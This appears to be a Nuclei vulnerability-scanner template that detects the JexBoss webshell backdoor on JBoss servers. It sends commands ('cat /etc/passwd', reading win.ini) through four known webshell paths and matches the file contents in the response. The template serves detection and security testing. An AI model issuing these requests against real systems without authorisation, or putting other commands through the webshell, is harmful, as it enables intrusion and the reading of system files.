43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: jexboss-backdoor
|
|
|
|
info:
|
|
name: JexBoss - Remote Code Execution
|
|
author: UnkL4b
|
|
severity: critical
|
|
description: JexBoss is susceptible to remote code execution via the webshell. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
reference:
|
|
- https://us-cert.cisa.gov/ncas/analysis-reports/AR18-312A
|
|
- https://github.com/joaomatosf/jexboss
|
|
metadata:
|
|
max-request: 8
|
|
verified: true
|
|
tags: backdoor,jboss,rce
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/jexws/jexws.jsp?ppp={{url_encode('{{command}}')}}"
|
|
- "{{BaseURL}}/jexws4/jexws4.jsp?ppp={{url_encode('{{command}}')}}"
|
|
- "{{BaseURL}}/jexinv4/jexinv4.jsp?ppp={{url_encode('{{command}}')}}"
|
|
- "{{BaseURL}}/jbossass/jbossass.jsp?ppp={{url_encode('{{command}}')}}"
|
|
|
|
payloads:
|
|
command:
|
|
- "cat /etc/passwd"
|
|
- "type C:\\/Windows\\/win.ini"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "\\[(font|extension|file)s\\]"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "X-Powered-By: Servlet"
|